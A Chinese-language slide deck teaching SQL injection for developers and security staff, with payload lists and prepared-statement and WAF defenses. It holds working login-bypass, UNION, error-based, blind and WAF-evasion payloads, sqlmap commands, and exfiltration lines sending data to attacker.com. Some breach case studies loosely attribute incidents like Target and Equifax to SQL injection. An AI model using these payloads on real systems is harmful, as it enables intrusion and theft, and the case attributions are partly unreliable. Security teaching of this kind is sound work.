1/18

SQL Injection 深度安全教學

常見 SQLi Payload、防禦方式與深度危害分析

📚 深度教學目標:

  • 深入了解 SQL Injection 的攻擊機制
  • 掌握各種類型的 SQLi Payload 技術
  • 分析真實世界的重大安全事件
  • 學習全面的防禦策略與最佳實踐
  • 建立完整的安全開發流程

🎯 適用對象:開發人員、安全工程師、系統管理員

2/18

課程大綱

基礎概念

SQL Injection 原理
攻擊分類

攻擊技術

各種 Payload
進階技巧

危害分析

真實案例
影響評估

防禦策略

安全編碼
系統防護

📋 詳細章節

  1. SQL Injection 基礎概念
  2. 攻擊分類與原理
  3. 基本 SQLi Payload (登入繞過)
  4. Union-based SQL Injection
  5. Error-based SQL Injection
  6. Blind SQL Injection
  7. 進階攻擊技術
  8. 真實世界重大案例 (1)
  9. 真實世界重大案例 (2)
  10. SQLi 危害深度分析
  11. 經濟與法律影響
  12. 檢測工具與技術
  13. 防禦方法 - 安全編碼
  14. 防禦方法 - 系統層防護
  15. 安全開發生命週期
  16. 監控與應急響應
  17. 最佳實踐與建議
  18. 總結與行動計劃
3/18

SQL Injection 基礎概念

定義與本質

SQL Injection 是一種程式碼注入攻擊,攻擊者將惡意 SQL 程式碼插入應用程式的資料庫查詢中,從而操控資料庫執行非預期的指令。

攻擊成因

脆弱程式碼範例

❌ 危險的動態 SQL 構建:

// PHP - 直接字串拼接 $query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'"; // ASP.NET - 字串格式化 string query = string.Format("SELECT * FROM users WHERE id = {0}", userInput); // Java - 直接嵌入 String sql = "SELECT * FROM products WHERE category = '" + userInput + "'";

攻擊流程

1. 目標識別 - 發現可能存在 SQLi 的輸入點
2. 漏洞探測 - 測試特殊字符引發錯誤
3. 漏洞確認 - 驗證 SQL 注入的存在
4. 資訊收集 - 獲取資料庫結構資訊
5. 資料竊取 - 提取敏感資料
4/18

攻擊分類與原理

依據檢測方式分類

🔍 In-band SQLi (帶內注入)

特徵:攻擊者能直接從應用程式回應中看到攻擊結果

🕵️ Inferential SQLi (推理注入)

特徵:無法直接看到查詢結果,需要推理判斷

📤 Out-of-band SQLi (帶外注入)

特徵:透過其他通道(如 DNS、HTTP)傳輸資料

依據攻擊目標分類

🔓 驗證繞過

繞過登入機制
獲取未授權存取

📊 資料提取

竊取敏感資料
獲取系統資訊

✏️ 資料修改

篡改資料庫內容
植入惡意資料

💥 資料破壞

刪除重要資料
破壞資料完整性

5/18

基本 SQLi Payload (登入繞過)

🔓 經典萬能密碼

常用登入繞過 Payload

-- 基本 OR 繞過 ' OR '1'='1' -- ' OR 1=1 -- ' OR 'a'='a' -- admin'-- administrator'-- -- 註釋符號變化 ' OR 1=1 # ' OR 1=1 /* ' OR 1=1 %00 -- 大小寫變化 ' oR '1'='1' -- ' Or 1=1 -- ' OR '1'='1'--

🎯 實戰攻擊場景

原始查詢:

SELECT * FROM users WHERE username='admin' AND password='password123'

注入後查詢:

SELECT * FROM users WHERE username='admin' AND password='' OR '1'='1' --' -- 後面的密碼檢查被註釋掉,條件永遠為真

🛡️ 不同資料庫的語法差異

MySQL

' OR 1=1 # ' OR 1=1 --

Microsoft SQL

' OR 1=1 -- ' OR 1=1 /*

Oracle

' OR 1=1 -- ' OR '1'='1

PostgreSQL

' OR 1=1 -- ' OR 1=1 /*
6/18

Union-based SQL Injection

🔗 UNION 攻擊原理

UNION 運算符用於合併兩個或多個 SELECT 語句的結果集。攻擊者利用此特性來從其他資料表中提取資料。

📊 攻擊步驟

步驟 1: 確定欄位數量
' ORDER BY 1 -- ' ORDER BY 2 -- ' ORDER BY 3 -- -- 持續測試直到出現錯誤
步驟 2: 確定可顯示的欄位
' UNION SELECT 1,2,3 -- ' UNION SELECT 'a','b','c' --
步驟 3: 獲取資料庫資訊
' UNION SELECT 1,database(),version() -- ' UNION SELECT 1,@@version,@@datadir --
步驟 4: 枚舉資料表和欄位
' UNION SELECT 1,table_name,3 FROM information_schema.tables -- ' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users' --
步驟 5: 提取敏感資料
' UNION SELECT 1,username,password FROM users -- ' UNION SELECT 1,credit_card,3 FROM payments --

⚠️ 常見限制與繞過

7/18

Error-based SQL Injection

💥 錯誤注入原理

透過故意觸發資料庫錯誤,將敏感資訊包含在錯誤訊息中返回給攻擊者。

🎯 MySQL Error-based Payloads

ExtractValue 函數

' AND extractvalue(1,concat(0x7e,database(),0x7e)) -- ' AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e)) -- ' AND extractvalue(1,concat(0x7e,(SELECT group_concat(username,':',password) FROM users),0x7e)) --

UpdateXML 函數

' AND updatexml(1,concat(0x7e,database(),0x7e),1) -- ' AND updatexml(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users'),0x7e),1) --

🎯 其他資料庫的 Error-based

Microsoft SQL Server

' AND 1=CAST((SELECT @@version) AS INT) -- ' AND 1=CONVERT(INT,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U')) --

Oracle

' AND 1=CTXSYS.DRITHSX.SN(user,(SELECT banner FROM v$version WHERE rownum=1)) --

PostgreSQL

' AND 1=CAST((SELECT version()) AS INT) --
8/18

Blind SQL Injection

🕵️ Boolean-based Blind SQLi

基本測試 Payload

-- 測試真假條件 ' AND 1=1 -- (頁面正常) ' AND 1=2 -- (頁面異常) -- 猜測資料庫名稱長度 ' AND (SELECT LENGTH(database()))=8 -- -- 逐字猜測資料庫名稱 ' AND (SELECT SUBSTRING(database(),1,1))='a' -- ' AND (SELECT ASCII(SUBSTRING(database(),1,1)))>97 --

⏰ Time-based Blind SQLi

延時函數

-- MySQL ' AND (SELECT SLEEP(5)) -- ' OR IF((SELECT COUNT(*) FROM users)>5,SLEEP(5),0) -- -- Microsoft SQL Server '; WAITFOR DELAY '00:00:05' -- -- PostgreSQL '; SELECT pg_sleep(5) -- -- Oracle ' AND dbms_pipe.receive_message(('a'),5)=1 --
9/18

進階攻擊技術

🔄 Second-order SQL Injection

攻擊原理

惡意 Payload 首先被儲存在資料庫中,然後在另一個查詢中被執行。

-- 步驟 1: 註冊用戶時注入 用戶名: admin'-- 密碼: password123 -- 步驟 2: 當管理員查看此用戶時觸發 SELECT * FROM users WHERE username = 'admin'--' -- 後續查詢被註釋掉

🌐 Out-of-band SQL Injection

DNS Exfiltration

-- MySQL '; SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\test.txt')) -- -- Microsoft SQL Server '; EXEC master..xp_dirtree '\\\\' + (SELECT @@version) + '.attacker.com\\test' --

HTTP 請求

-- MySQL (需要 UDF) '; SELECT load_file(concat('http://attacker.com/collect.php?data=', (SELECT database()))) -- -- Oracle '; SELECT UTL_HTTP.request('http://attacker.com/collect.php?data=' || (SELECT user FROM dual)) FROM dual --

🔐 WAF 繞過技術

編碼繞過

-- URL 編碼 %27%20OR%201%3D1%20-- -- 雙重編碼 %2527%2520OR%25201%253D1%2520-- -- Unicode 編碼 \u0027 OR 1=1 --

註釋繞過

-- 內嵌註釋 '/**/OR/**/1=1/**/-- -- 多行註釋 ' OR/* */1=1--

大小寫與空白繞過

-- 大小寫混合 ' oR 1=1 -- ' UnIoN sElEcT 1,2,3 -- -- 替代空白字符 '/**/OR/**/1=1 '+OR+1=1-- '%09OR%091=1--
10/18

真實世界重大案例 (1)

🏦 2008 年 Heartland Payment Systems 攻擊

影響規模

1.3 億
信用卡資料被竊

經濟損失

1.4 億美元
直接經濟損失

攻擊時間

2007-2008
持續18個月

發現時間

2008年10月
美國司法部通知

攻擊手法分析

  • SQL Injection 入侵:透過 Web 應用程式的 SQLi 漏洞獲得初始存取
  • 內網滲透:安裝惡意軟體竊取認證資料
  • 持續潛伏:長期駐留系統收集支付卡資料
  • 資料外洩:透過 FTP 將資料傳送到海外伺服器

技術細節

-- 可能的 SQLi 攻擊向量 ' UNION SELECT 1,@@version,3 -- ' AND 1=2 UNION SELECT 1,user(),database() -- -- 提取支付卡資料 ' UNION SELECT 1,card_number,expiry_date FROM payment_cards --

🎮 2011 年 Sony PlayStation Network 攻擊

影響規模

7700 萬
用戶帳戶被竊

服務中斷

23 天
PSN 服務下線

經濟損失

1.7 億美元
總損失估計

法律後果

多起訴訟
監管罰款

攻擊特點

11/18

真實世界重大案例 (2)

💼 2012 年 LinkedIn 密碼洩露事件

影響規模

650 萬
密碼雜湊外洩

後續影響

1.17 億
2016年發現更大規模

法律賠償

130 萬美元
集體訴訟和解

技術缺陷

無鹽雜湊
SHA-1 易被破解

技術分析

  • SQL Injection 入口:Web 應用程式存在 SQLi 漏洞
  • 密碼儲存不當:使用無鹽的 SHA-1 雜湊
  • 權限過度:資料庫帳戶可存取敏感資料
  • 監控不足:長期未發現異常存取

🏥 2017 年 Equifax 資料洩露事件

影響規模

1.47 億
消費者資料外洩

經濟損失

14 億美元
總成本估計

攻擊時間

78 天
未被發現

漏洞類型

Apache Struts
CVE-2017-5638

關鍵教訓

🛒 2013 年 Target 零售商攻擊

信用卡資料

4000 萬
卡號被竊

個人資料

7000 萬
客戶資料外洩

直接損失

2.9 億美元
事件回應成本

入侵點

第三方廠商
HVAC 系統供應商

12/18

SQLi 危害深度分析

🎯 直接技術危害

🔓 身份認證繞過

  • 管理員帳戶接管
  • 用戶身份偽造
  • 權限提升攻擊

📊 敏感資料洩露

  • 個人身份資訊(PII)
  • 財務交易記錄
  • 商業機密資料

💾 資料完整性破壞

  • 篡改重要業務資料
  • 植入惡意內容
  • 刪除關鍵記錄

🖥️ 系統控制權獲取

  • 執行系統命令
  • 安裝後門程式
  • 建立持久化存取

💰 間接業務危害

品牌信譽損害

📈 量化危害統計

平均修復時間

287 天
發現到修復

平均洩露成本

445 萬美元
每次事件

每筆記錄成本

164 美元
平均成本

業務中斷時間

23 天
平均恢復時間

🔄 連鎖反應效應

即時影響 (0-24小時) - 系統下線、緊急回應
短期影響 (1-30天) - 調查取證、媒體報導、客戶通知
中期影響 (1-12個月) - 法律訴訟、監管調查、系統重建
長期影響 (1-3年) - 品牌修復、合規成本、競爭劣勢
13/18

經濟與法律影響

💵 經濟影響分解

直接成本

  • 事件回應 (25%)
  • 系統修復 (20%)
  • 法律費用 (15%)
  • 監管罰款 (10%)

間接成本

  • 業務中斷 (30%)
  • 客戶流失 (25%)
  • 品牌修復 (20%)
  • 保險費用 (15%)

隱藏成本

  • 員工生產力下降
  • 新客戶獲取成本增加
  • 合規檢查成本
  • 技術債務累積

長期成本

  • 競爭地位下降
  • 投資者信心損失
  • 招聘難度增加
  • 合作夥伴關係影響

⚖️ 法律與合規責任

🌍 國際法規要求

GDPR (歐盟)

最高罰款
2000萬歐元
或年營收4%

CCPA (加州)

每筆記錄
$750
法定損害賠償

PIPEDA (加拿大)

最高罰款
10萬加元
個人違規

個資法 (台灣)

最高罰款
150萬台幣
公務機關

📋 合規義務與責任

通知義務

舉證責任

🏛️ 行業特殊要求

金融服務

PCI DSS
SOX 合規
Basel III

醫療保健

HIPAA
FDA 21 CFR Part 11
醫療器械法規

政府機關

FISMA
FedRAMP
NIST 框架

電信業

CALEA
電信管制法
個資保護規範

14/18

檢測工具與技術

🔧 自動化掃描工具

🐍 SQLMap

開源首選
功能最完整的 SQLi 檢測工具

# 基本用法 sqlmap -u "http://target.com/page.php?id=1" # 檢測所有參數 sqlmap -u "http://target.com/" --forms --batch # 暴力破解資料庫 sqlmap -u "http://target.com/login.php" --data="user=admin&pass=test" --dbs

🔥 Burp Suite

專業級工具
Web 應用安全測試平台

  • SQLi 主動掃描
  • 手動測試輔助
  • 自訂 Payload 庫
  • 詳細漏洞報告

⚡ OWASP ZAP

免費開源
功能強大的安全掃描器

  • 自動化掃描
  • 被動式檢測
  • API 安全測試
  • CI/CD 整合

🛡️ Nessus

商業解決方案
企業級漏洞掃描器

  • 全面漏洞評估
  • 合規性檢查
  • 風險優先排序
  • 管理報告

🧪 手動測試技巧

系統性測試方法

1. 輸入點識別 - URL 參數、表單欄位、HTTP 標頭
2. 語法錯誤測試 - 單引號、雙引號、特殊字符
3. 邏輯測試 - AND/OR 條件、數值運算
4. 資料庫指紋識別 - 版本查詢、特定函數
5. 資料提取測試 - UNION、Error-based、Blind

常用測試 Payload 清單

# 基本語法測試 ' " ` \ '' "" # 邏輯測試 ' AND 1=1 -- ' AND 1=2 -- ' OR 1=1 -- ' OR 1=2 -- # 數值測試 1' 1" 1 AND 1=1 1 AND 1=2 # 資料庫識別 ' AND @@version -- ' AND version() -- ' AND user() --

📝 代碼審查重點

關鍵檢查項目

自動化代碼掃描工具

SonarQube

程式碼品質
安全漏洞檢測

Checkmarx

靜態程式碼分析
SAST 解決方案

Veracode

雲端安全掃描
DevSecOps 整合

CodeQL

GitHub 原生
語義代碼分析

15/18

防禦方法 - 安全編碼

🛡️ 參數化查詢 (Prepared Statements)

PHP PDO

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?"); $stmt->execute([$username]);

Java JDBC

PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?"); stmt.setInt(1, userId);
16/18

防禦方法 - 系統層防護

🔥 Web 應用程式防火牆 (WAF)

# ModSecurity SQLi 防護規則 SecRule ARGS "@detectSQLi" \ "id:1001,phase:2,block,msg:'SQL Injection Detected'"

🔐 資料庫層安全

最小權限原則

  • 應用程式專用帳戶
  • 只授予必要權限
  • 定期權限審查

網路安全

  • 資料庫網路隔離
  • 加密連線 (TLS)
  • VPN 存取控制
17/18

最佳實踐與建議

🛡️ 安全開發生命週期

需求階段 - 安全需求分析、威脅建模
設計階段 - 安全架構設計、防禦機制規劃
開發階段 - 安全編碼標準、代碼審查
測試階段 - 安全測試、滲透測試
部署階段 - 安全配置、監控系統

📚 團隊培訓重點

開發人員

  • 安全編碼訓練
  • OWASP Top 10
  • 實戰演練

測試團隊

  • 安全測試方法
  • 工具使用培訓
  • 漏洞驗證
18/18

總結與行動計劃

🎯 關鍵要點回顧

🧠 理解威脅

SQL Injection 是嚴重的安全威脅

🛡️ 實施防護

參數化查詢是最根本的防護

🔄 持續改進

安全是持續的過程

📋 立即行動清單

🚨 緊急檢查 (本週內)

📈 短期改進 (1個月內)

📚 推薦資源

學習平台

OWASP
PortSwigger Academy
SANS Training

實踐環境

DVWA
WebGoat
SQLi-Labs

🔐 核心原則

「防禦始於設計,安全融入開發」

讓我們共同建構更安全的數位世界!